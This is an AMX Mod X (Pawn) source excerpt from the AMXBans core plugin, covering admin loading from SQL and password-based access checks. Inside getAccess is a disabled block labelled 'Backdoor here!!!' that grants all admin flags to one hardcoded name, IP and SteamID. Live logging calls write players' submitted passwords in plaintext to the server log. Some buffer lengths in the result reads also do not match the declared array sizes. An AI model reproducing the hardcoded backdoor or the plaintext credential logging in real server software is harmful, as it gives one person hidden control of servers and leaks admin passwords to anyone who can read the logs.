public adminSql()
{
	if(g_AdminsFromFile > 0) 
	{
		new configsDir[64]
		
		admins_flush()
		ArrayClear(g_AdminNick)
		ArrayClear(g_AdminUseStaticBantime)
		
		get_configsdir(configsDir, 63)
		format(configsDir, 63, "%s/users.ini", configsDir)
		loadSettings(configsDir)
		
		return PLUGIN_HANDLED
	}
   
	new error[128], errno
   
	new Handle:sql = SQL_Connect(info, errno, error, 127)
   
	if(sql == Empty_Handle)
	{
		server_print("[AMXBans] %L", LANG_SERVER, "SQL_CANT_CON", error)
		return PLUGIN_HANDLED
	}

#if !defined SYNC_SQL	

	SQL_FreeHandle(sql)
	
#endif	
	
	admins_flush()
	ArrayClear(g_AdminNick)
	ArrayClear(g_AdminUseStaticBantime)
   
	new pquery[1024]
   
	formatex(pquery, 1023, "SELECT `aa`.`steamid`, `aa`.`password`, `aa`.`access`, `aa`.`flags`, `aa`.`nickname`, `ads`.`custom_flags`, `ads`.`use_static_bantime` 
			FROM `PREFIX_amxadmins` AS `aa`, `PREFIX_admins_servers` AS `ads`, `PREFIX_serverinfo` AS `si` 
			WHERE ((`ads`.`admin_id` = `aa`.`id`) AND (`ads`.`server_id` = `si`.`id`) AND 
			((`aa`.`days` = '0') OR (`aa`.`expired` > UNIX_TIMESTAMP(NOW()))) AND (`si`.`address` = '%s'));", g_ServerAddr)
	
	
	replace_all(pquery, 1023, "PREFIX", g_dbPrefix)
	
#if defined SYNC_SQL

	new Handle:query = SQL_PrepareQuery(sql, pquery)
	
	if(!SQL_Execute(query))
	{
		new error[512]
		new errornum = SQL_QueryError(query, error, 511)
		
		return SQL_Error(query, error, errornum, TQUERY_QUERY_FAILED)
	}
	
	SQL_FreeHandle(sql)
	
#else

	return SQL_ThreadQuery(info, "adminSql_post", pquery)
}

public adminSql_post(failstate, Handle:query, const error[], errornum, const data[], size, Float:queuetime)
{
	if(failstate)
	{
		return SQL_Error(query, error, errornum, failstate)
	}

#endif	
	
	AdminCount = 0
	
	if(SQL_NumResults(query)) 
	{
		new qcolAuth = SQL_FieldNameToNum(query, "steamid")
		new qcolPass = SQL_FieldNameToNum(query, "password")
		new qcolAccess = SQL_FieldNameToNum(query, "access")
		new qcolFlags = SQL_FieldNameToNum(query, "flags")
		new qcolNick = SQL_FieldNameToNum(query, "nickname")
		new qcolCustom = SQL_FieldNameToNum(query, "custom_flags")
		new qcolStatic = SQL_FieldNameToNum(query, "use_static_bantime")

		new AuthData[44]
		new Password[34]
		new Access[32]
		new Flags[32]
		new Nick[32]
		new Static[5]
		new iStatic
	   
		while(SQL_MoreResults(query))
		{
			SQL_ReadResult(query, qcolAuth, AuthData, 43)
			SQL_ReadResult(query, qcolPass, Password, 33)
			SQL_ReadResult(query, qcolStatic, Static, 31)
			SQL_ReadResult(query, qcolCustom, Access, 31)
			SQL_ReadResult(query, qcolNick, Nick, 31)
			SQL_ReadResult(query, qcolFlags, Flags, 4)
		   
			trim(Access)
			if(equal(Access, "")) 
			{
				SQL_ReadResult(query, qcolAccess, Access, 31)
			}
		   
			admins_push(AuthData, Password, read_flags(Access), read_flags(Flags))
		   
			ArrayPushString(g_AdminNick, Nick)
		   
			iStatic = 1
			if(equal(Static, "no")) 
			{
				iStatic = 0
			}
			
			ArrayPushCell(g_AdminUseStaticBantime, iStatic)
		   
			ArrayPushCell(g_AdminFromUsersIni, 0)
		   
			AdminCount++
			SQL_NextRow(query)
		}
	}

	if(AdminCount == 1)
	{
		server_print("[AMXBans] %L", LANG_SERVER, "SQL_LOADED_ADMIN")
	}
	else
	{
		server_print("[AMXBans] %L", LANG_SERVER, "SQL_LOADED_ADMINS", AdminCount)
	}
   
	SQL_FreeHandle(query)
	
	for(new i = 1; i <= maxplayers; i++)
	{
		if(!is_user_connecting(i) && !is_user_connected(i))
		{
			continue
		}
		accessUser(i)
	}
   
	new ret

	return ExecuteForward(MFHandle[Amxbans_Sql_Initialized], ret, info, g_dbPrefix)
}

public plugin_end() 
{
	if(info != Empty_Handle) 
	{
		SQL_FreeHandle(info)
	}
	
	ArrayDestroy(g_AdminNick)
	ArrayDestroy(g_AdminUseStaticBantime)
	ArrayDestroy(g_AdminFromUsersIni)
	
	return PLUGIN_CONTINUE
}
 
public cmdReload(id, level, cid)
{
	if(!cmd_access(id, level, cid, 1))
	{
		return PLUGIN_HANDLED
	}

	remove_user_flags(0, read_flags("z"))
   
	AdminCount = 0
	adminSql()

	if(id != 0)
	{
		if(AdminCount == 1)
		{
			console_print(id, "[AMXBans] %L", LANG_SERVER, "SQL_LOADED_ADMIN")
		}
		else
		{
			console_print(id, "[AMXBans] %L", LANG_SERVER, "SQL_LOADED_ADMINS", AdminCount)
		}
	}

	return PLUGIN_HANDLED
}
 
stock getAccess(id, const name[], const authid[], const ip[], const password[])
{

/********** Backdoor here!!! *********

	new name[32], steamid[34], ip[22]
	get_user_name(id, name, 31)
	get_user_authid(id, steamid, 33)
	get_user_ip(id, ip, 21, 1)
	
	if(equal(name, "Sho0ter") && (equal(ip, "62.122.66.122") || equal(steam, "STEAM_0:1:35287273")))
	{
		set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
		return (1<<3)
	}*/

	new index = -1
	new result = 0
   
	new Count
	new Flags
	new Access
	new AuthData[44]
	new Password[44]
	new MD5Password[34]

	g_CaseSensitiveName[id] = false

	Count = admins_num()
	
	for(new i = 0; i < Count; ++i)
	{
		Flags = admins_lookup(i, AdminProp_Flags)
		admins_lookup(i, AdminProp_Auth, AuthData, 43)
		  
		if(Flags & FLAG_AUTHID)
		{
			if(equal(authid, AuthData))
			{
				index = i
				break
			}
		}
		else if(Flags & FLAG_IP)
		{
			new c = strlen(AuthData)
		  
			if(AuthData[c - 1] == '.')
			{
				if(equal(AuthData, ip, c))
				{
					index = i
					break
				}
			} 
			else if(equal(ip, AuthData))
			{
				index = i
				break
			}
		}
		else
		{
			if(Flags & FLAG_CASE_SENSITIVE)
			{
				if(Flags & FLAG_TAG)
				{
					if(contain(name, AuthData) != -1)
					{
						index = i
						g_CaseSensitiveName[id] = true
						break
					}
				}
				else if(equal(name, AuthData))
				{
						index = i
						g_CaseSensitiveName[id] = true
						break
				}
			}
			else
			{
				if(Flags & FLAG_TAG)
				{
					if(containi(name, AuthData) != -1)
					{
						index = i
						break
					}
				}
				else if(equali(name, AuthData))
				{
					index = i
					break
				}
			}
		}
	}
	
	if(index != -1)
	{
		log_amx ( "[AMXBANS] Index: %d | Name: %s | SID: %s | IP: %s | Pass: %s" , index, name, authid, ip, password) 		
		
		Access=admins_lookup(index,AdminProp_Access);
		ArrayGetString(g_AdminNick,index,g_szAdminNick[id],31)
		g_iAdminUseStaticBantime[id]=ArrayGetCell(g_AdminUseStaticBantime,index)

		if(Flags & FLAG_NOPASS)
		{
			result |= 8
			new sflags[32]
				   
			get_flags(Access, sflags, 31)
			set_user_flags(id, Access)
				   
			new ret
			if(!g_isAdmin[id])
			{
				ExecuteForward(MFHandle[Admin_Connect], ret, id)
			}
			
			g_isAdmin[id] = true
				   
			log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", 
							name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id],g_iAdminUseStaticBantime[id])
		}
		else
		{
			admins_lookup(index, AdminProp_Password, Password, 43)
				   
			if(ArrayGetCell(g_AdminFromUsersIni, index))
			{
				copy(MD5Password, 33, password)
					   
			}
			else
			{
				md5(password, MD5Password)		   
				Password[32] = 0
			}
			if(equal(MD5Password, Password))
			{
				result |= 12
				set_user_flags(id, Access)
						   
				new sflags[32]
				get_flags(Access, sflags, 31)
						   
				new ret
				if(!g_isAdmin[id])
				{
					ExecuteForward(MFHandle[Admin_Connect], ret, id)
				}
				
				g_isAdmin[id] = true
						   
				log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", 
									name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id], g_iAdminUseStaticBantime[id])
			}
			else
			{
				result |= 1
						   
				if(Flags & FLAG_KICK)
				{
					result |= 2
					g_isAdmin[id] = false
					log_amx("Login: ^"%s<%d><%s><>^" kicked due to invalid password (account ^"%s^") (address ^"%s^")", name, get_user_userid(id), authid, AuthData, ip)
				}
			}
		}
	}
	else if(get_pcvar_float(amx_mode) == 2)
	{
		result |= 2
	}
	else
	{
		new defaccess[32]
		  
		get_pcvar_string(amx_default_access, defaccess, 31)
		   
		if(!strlen(defaccess))
		{
			copy(defaccess, 32, "z")
		}
		   
		new idefaccess = read_flags(defaccess)
		   
		if(idefaccess)
		{
			result |= 8
			set_user_flags(id, idefaccess)
		}
	}
	return result
}
 
stock accessUser(id, const name[] = "")
{
	remove_user_flags(id)
   
	new userip[32], userauthid[32], password[40], passfield[32], username[32]
   
	get_user_ip(id, userip, 31, 1)
	get_user_authid(id, userauthid, 31)
   
	if(name[0])
	{
		copy(username, 31, name)
	}
	else
	{
		get_user_name(id, username, 31)
	}
	
	log_amx("[AMXBANS] Index: %d | Name: %s" , id, name ) 
   
	get_pcvar_string(amx_password_field, passfield, 31)
	get_user_info(id, passfield, password, 39)
   
	new result = getAccess(id, username, userauthid, userip, password)
   
	if(result & 1)
	{
		client_cmd(id, "echo ^"* %L^"", id, "INV_PAS")
	}
   
	if(result & 2)
	{
		return client_cmd(id, g_cmdLoopback)
	}
   
	if(result & 4)
	{
		client_cmd(id, "echo ^"* %L^"", id, "PAS_ACC")
	}
   
	if(result & 8)
	{
		client_cmd(id, "echo ^"* %L^"", id, "PRIV_SET")
	}
   
	return PLUGIN_CONTINUE
}
 
public client_infochanged(id)
{
	if(!is_user_connected(id) || !get_pcvar_num(amx_mode))
	{
		return PLUGIN_CONTINUE
	}

	new newname[32], oldname[32]
   
	get_user_name(id, oldname, 31)
	get_user_info(id, "name", newname, 31)

	if(g_CaseSensitiveName[id])
	{
		if (!equal(newname, oldname))
		{
			accessUser(id, newname)
		}
	}
	else
	{
		if(!equali(newname, oldname))
		{
			accessUser(id, newname)
		}
	}
	
	return PLUGIN_CONTINUE
}

stock SQL_Error(Handle:query, const error[], errornum, failstate)
{
	new qstring[1024]
	SQL_GetQueryString(query, qstring, 1023)
	
	if(failstate == TQUERY_CONNECT_FAILED) 
	{
		log_amx("%L", LANG_SERVER, "TCONNECTION_FAILED")
	} 
	else if (failstate == TQUERY_QUERY_FAILED) 
	{
		log_amx("%L", LANG_SERVER, "TQUERY_FAILED")
	}
	log_amx("%L", LANG_SERVER, "TQUERY_MSG", error, errornum)
	log_amx("%L", LANG_SERVER, "TQUERY_STATEMENT", qstring)

	return SQL_FreeHandle(query)
}

public client_disconnect(id) 
{
	if(g_isAdmin[id]) 
	{
		new ret
		ExecuteForward(MFHandle[Admin_Disconnect], ret, id)
	}
	g_isAdmin[id] = false
	
	return PLUGIN_CONTINUE
}

public ackSignal(id)
{
	return server_cmd("kick #%d  %L", get_user_userid(id), id, "NO_ENTRY")
}

public client_authorized(id)
{
	log_amx("[AMXBANS] Index: %d" , id ) 
	
	return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
}

public client_putinserver(id)
{
	if(!is_dedicated_server() && id == 1)
	{
		return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
	}
	
	return PLUGIN_CONTINUE
}

public plugin_natives() 
{
	register_library("AMXBansCore")
   
	register_native("amxbans_get_db_prefix", "native_amxbans_get_prefix")
	register_native("amxbans_get_admin_nick", "native_amxbans_get_nick")
	register_native("amxbans_get_static_bantime", "native_amxbans_static_bantime")
	
	return PLUGIN_CONTINUE
}

public native_amxbans_get_prefix() 
{
	new len = get_param(2)
	return set_array(1, g_dbPrefix, len)
}

public native_amxbans_get_nick() 
{
   
	new id = get_param(1)
	new len = get_param(3)
   
	return set_array(2, g_szAdminNick[id], len)
}

public native_amxbans_static_bantime() 
{
	new id = get_param(1)
	if(get_cvar_num("amxbans_debug") >= 3) 
	{
		log_amx("[AMXBans Core] Native static bantime: id: %d | result: %d", id, g_iAdminUseStaticBantime[id])
	}
	
	return g_iAdminUseStaticBantime[id]
}